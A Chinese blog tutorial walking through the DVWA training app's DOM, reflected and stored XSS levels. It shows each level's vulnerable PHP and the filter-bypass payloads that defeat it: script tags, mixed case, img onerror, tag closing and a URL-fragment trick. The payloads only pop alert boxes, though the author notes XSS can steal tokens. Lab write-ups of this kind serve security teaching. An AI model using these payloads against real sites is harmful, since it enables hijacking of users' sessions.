dvwa———xss（全）

最新推荐文章于 2024-02-04 09:45:26 发布
最新推荐文章于 2024-02-04 09:45:26 发布
阅读量2.3k 收藏 14
点赞数 3
分类专栏： dvwa 文章标签： xss 前端
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/GZY0601/article/details/133363306
版权

声明： 本文章仅限于安全技术交流，禁止用于非法途径，如读者作出危害网络安全的行为后果自负，与作者无关！

文章目录

前言

这个章节我们来讲一下xss攻击

一、什么是xss攻击？

XSS 又称CSS(Cross Site Scripting)或跨站脚本攻击，攻击者在网页中插入由JavaScript编写的恶意代码，当用户浏览被嵌入恶意代码的网页时，恶意代码将会在用户的浏览器上执行。
xss有三种：反射型(Reflected)，存储型(Stored)和DOM型
反射型xss：只是简单地把用户输入的数据反射给浏览器，简单来说，黑客往往需要用户诱使用户点击一个恶意链接，才能攻击成功。（经后端，不经数据库）

存储型XSS：将用户输入的数据存储在服务器端。用户访问了带有xss得页面代码后，产生安全问题。(经后端和数据库)

DOM XSS：通过修改页面的DOM节点形成的XSS。客户端的脚本程序可以通过DOM动态地检查和修改页面内容，它不依赖于提交数据到服务器端，而从客户端获得DOM中的数据在本地执行，如果DOM中的数据没有经过严格确认，就会产生DOM XSS漏洞。一般是浏览器前端代码进行处理。(不经过后端，是基于文档对象模型的一种漏洞，是通过url传入参数去控制触发的)

DOM

low

我们来看一下页面效果这里是点击过后的了
在这里插入图片描述
这里看到url后面接着一个English，看一下代码

<?php

# No protections, anything goes

?>

这里啥也没有
我们把English改为
在这里插入图片描述
出现弹窗，漏洞触发成功

medium

直接代码

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?>

这里判断只要出现<script就重定向到English，
这里我们可以利用其他函数来触发弹窗，如函数
这里是<img src=1 οnerrοr=alter(“xss”)>
在这里插入图片描述这里发现没有弹窗但是，语句被插入页面当中了，这里看代码要先闭合option语句，才可以执行我们的xss语句，

"></option></select><img src=1 onerror=alert('xss');>

在这里插入图片描述

high

代码如下

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

从代码中可以看到，这里是设置了白名单，只允许列表中出现的四个内容出现。
这里我们拿#来进行绕过，#后面的内容是被注释的，所以他不会发到后端，进行校验，但是js是一个在前端的语言，所以这里可以塑造语句

English#<script>alert("xss");</script>

在这里插入图片描述

Reflected

low

我们先来看页面和代码
在这里插入图片描述

代码如下：

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

发现这里只是判断不为空而已，没有其他防护，塑造语句

<script>alert('xss');</script>

即可触发语句
在这里插入图片描述

medium

代码如下

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

这里看到

<ScriPt>alert('xss');</SCriPt>

在这里插入图片描述

high

代码如下：

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

这里发现过滤了script而且大小写都过滤了，这里我们使用别的参数

<img src=1 onerror=alert('xss')>

在这里插入图片描述

Reflected

low

先看页面
在这里插入图片描述
代码如下

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();

这里看到没有任何防护就插入到了数据库中，塑造语句

<script>alert('xss');</script>

在这里插入图片描述

medium

还是直接看代码

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

message进行了过滤和转移，但是name只是过滤了script而且使用的是str_replace函数，他对大小写是不敏感的，所以这里可以用大小写绕过。

<sCript>alert('xss1');</sCript>

这里name还限制了输入长度，不过改一下就好了
在这里插入图片描述
在这里插入图片描述

high

代码如下

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

这里和medium差不多，但是name的script大小写都过滤了，所以这里我们继续用img函数来绕过

<img src=1 onerror=alert('xss')>

在这里插入图片描述
在这里插入图片描述

总结

好了，xss大概就是讲到这里，xss主要可以用来调取token等主要参数，来继续进行其他方面的渗透。以上内容为我个人理解，不喜勿喷，如有写错欢迎指出！

学安全的汤姆猫
关注
专栏目录
DVWA之XSS （完整版）
一期一会的博客
03-30 5290
xss DOM型xss
DVWA之XSS
qq_39670065的博客
08-08 368
Reflected Cross Site Scripting (XSS) low 直接尝试<script>alert('xss')</script> 弹窗成功 medium 还是先尝试<script>alert('xss')</script> 发现并没有弹窗但页面显示了Hello alert('xss') 猜测是<script>被删除 看波源码 <?php header ("X-XSS-Protection: 0"); // Is th
xss-dvwa靶场详情
最新发布
04-06
dvwa靶场中的xss漏洞详情
DVWA学习之XSS（跨站脚本攻击）
mmxhappy的专栏
02-04 994
跨站脚本攻击XSS(Cross Site Script) 为了不和层叠式演示表(Cascading Style Sheets，CSS) 的缩写混淆,顾将跨站脚本攻击缩写为XSS。恶意攻击者网web页面插入恶意Script代码,当用户浏览该页面时,嵌入web里面的script代码就会被执行,从而达到攻击用户的目的。XSS攻击针对的是用户层面的攻击！
DVWA------XSS（全）
m0_65712192的博客
12-13 5320
DVWA-----XSS（全）
DVWA-XSS
qq_58091216的博客
04-19 5618
一.DOM型xss 1.low (1)我们知道最基础的xss攻击就是<script>alert(/xss/)</script> (2)我们看到english直接按select，可以看到?default=English,我们知道在?default后面进行xss攻击 (3)我们直接输入<script>alert(/xss/)</script>,可以看到弹窗 (4)因为low比较简单所以我把分析源代码放在了最后。可以看到没有如何防御 2.m.
dvwa中的xss（跨站脚本）攻击
无痕的博客
01-17 2256
xss攻击介绍与在dvwa中的xss攻击演示
DVWA--XSS详解
洋洋的小黑屋
12-29 8648
DVWA–XSS详解 XSS概念：通常指黑客通过HTML注入纂改了网页，插入恶意脚本，从而在用户浏览网页时，控制用户浏览器的一种攻击。 XSS三种： 反射型xss：只是简单地把用户输入的数据反射给浏览器，简单来说，黑客往往需要用户诱使用户点击一个恶意链接，才能攻击成功。 存储型XSS：将用户输入的数据存储在服务器端。用户访问了带有xss得页面代码后，产生安全问题。 DOM　XSS：通过修改页面的D...
DVWA XSS
部分学习记录
09-19 229
DOM Based Cross Site Scripting (XSS) low 打开是一个菜单选项，提交以后发现URL有参数，修改一下呢？成功了，那直接试一下xss脚本<script>alert(document.cookie);</script>，成功获取到cookie medium 构造代码<script>alert(document.cookie)</script>，没效果？应该是有过滤机制，试一下双写，还是不行，会不会是转义问题？直接利用URL编码
DVWA系列——XSS（跨站脚本注入（反射型，储存型，DOM））
weixin_49340699的博客
12-15 2424
DVWA系列——XSS（跨站脚本注入）简介low级别反射型xss源码分析储存型xss源码分析DOM型xss源码分析medium级别反射型xss源码分析破解思路储存型xssDOM型xss源码分析high级别反射型xss储存型xssDOM型xss 简介 XSS全称Cross Site Scripting，即跨站脚本攻击，从某种意义上来说也是一种注入攻击，是指攻击者在页面中注入恶意的脚本代码，当受害者访问该页面，恶意代码就会在浏览器页面执行，xss不限于javascript，还包括flash等其他脚本语言，根据代
Kali渗透测试之DVWA系列5——存储型XSS(跨站脚本攻击)
浅浅的博客
05-11 2914
目录 一、原理示意图 二、实验环境 三、实验步骤 安全级别：LOW 重定向 获取cookie 安全级别：Medium 安全级别：High 安全级别：Impossible 存储型XSS 长期存储于服务器端 每次用户访问都会被执行javascript脚本 了解XSS简...
DVWA系列之XSS(跨站脚本攻击)——反射型XSS源码分析及漏洞利用
7Riven's blog
11-27 2593
XSS XSS，全称Cross Site Scripting，即跨站脚本攻击，某种意义上也是一种注入攻击，是指攻击者在页面中注入恶意的脚本代码，当受害者访问该页面时，恶意代码会在其浏览器上执行。 XSS不仅仅限于JavaScript，还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中，XSS可以分为存储型的XSS与反射型的XSS。 DOM型的XSS由于其特殊性，常常被分为第三种，...
Kali linux 学习笔记（五十二）Web渗透——XSS 2020.3.30
闵行小鱼塘
03-30 751
学习XSS
Kali渗透测试之DVWA系列4——反射型XSS(跨站脚本攻击)
浅浅的博客
05-11 4221
目录 一、XSS 1、XSS简介 2、XSS类型 3、漏洞形成的根源 二、反射型XSS 1、原理示意图​ 2、实验环境 3、实验步骤 安全级别：LOW 重定向 获取cookie 安全级...
DVWA之xss
giun的博客
03-11 1001
一、反射（reflected）型 （一）、尝试low等级 输入正常数字，返回以下内容 再输入&amp;lt;xss&amp;gt;发现，只输出了hello 我们使用火狐的开发者工具查看下元素 发现hello的后面是一对xss标签 我们进行弹窗测试 输入&amp;lt;script&amp;gt;alert(/xss/)&amp;lt;/script&amp;gt; 发现弹窗，说明存在xss注入 介绍javaScript的3个弹
dvwa之XSS
qq_17762247的博客
06-14 349
一、 XSS简介 XSS(Cross site scripting,跨站脚本攻击)，XSS的重点不在于跨站点，而在于脚本的执行，其原理是：攻击者在web页面中插入一些恶意的script代码，当用户浏览该页面时，嵌入到页面的scripte代码执行，达到攻击用户的目的。XSS攻击主要分为几类：反射型、存储型和DOM-based型，其中反射型和DOM-based型归类为非持久性攻击，存储型为持久性攻击。 二、反射型 XSS 原理：攻击者通过特定的方式诱惑用户访问一个包含恶意代码的url，用户点击该url后，恶意
DVWA学习之XSS
千寻的博客
01-02 493
DVWA学习之XSS 反射性XSS Low等级 【】 Medium等级 双写绕过： 【<scr 大小写绕过 【】 High等级 【] []当点击键盘任意一个按键的时候触发。 Impossible等级 存储型XSS Low等级 trim(string,charlist) 函数移除字符串两侧的空白字符或其他预定义字符，预定义字符包括、\t、\n、\x0B、\r以及空格，可选参...
DVWA-XSS (Stored)-存储型XSS
seanyang_的博客
06-12 2304
跨站点脚本 （XSS）”攻击是一种注入问题，其中恶意脚本被注入到原本良性和受信任的网站上。当攻击者使用 Web 应用程序发送恶意代码（通常以浏览器端脚本的形式）时，就会发生 XSS 攻击， 给其他最终用户。允许这些攻击成功的缺陷非常普遍，并且发生在使用输出中用户输入的Web应用程序的任何地方， 无需验证或编码。攻击者可以使用 XSS 向毫无戒心的用户发送恶意脚本。最终用户的浏览器无法知道脚本不应该被信任， 并将执行 JavaScript。
DVWA-XSS(存储型)
HoYim
04-11 1197
一.存储型XSS 存储型XSS攻击原理图: (一)LOW 1.从代码可以看到,没有防御XSS漏洞，只防御了SQL注入漏洞 尝试一般的XSS攻击 在message栏中测试: <⁢script>alert(‘x’)<⁢/script> <⁢body οnlοad=alert(‘xss’)> <⁢a href=http://www.baidu.com&gt...
DVWA-XSS(DOM)
08-25
DVWA-XSS(DOM)是指DVWA靶机学习中的一种XSS攻击，它利用了DOM（文档对象模型）中的漏洞。DOM是一个与平台、编程语言无关的接口，允许程序或脚本动态地访问和更新文档内容、结构和样式。而DVWA-XSS(DOM)攻击则是通过...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值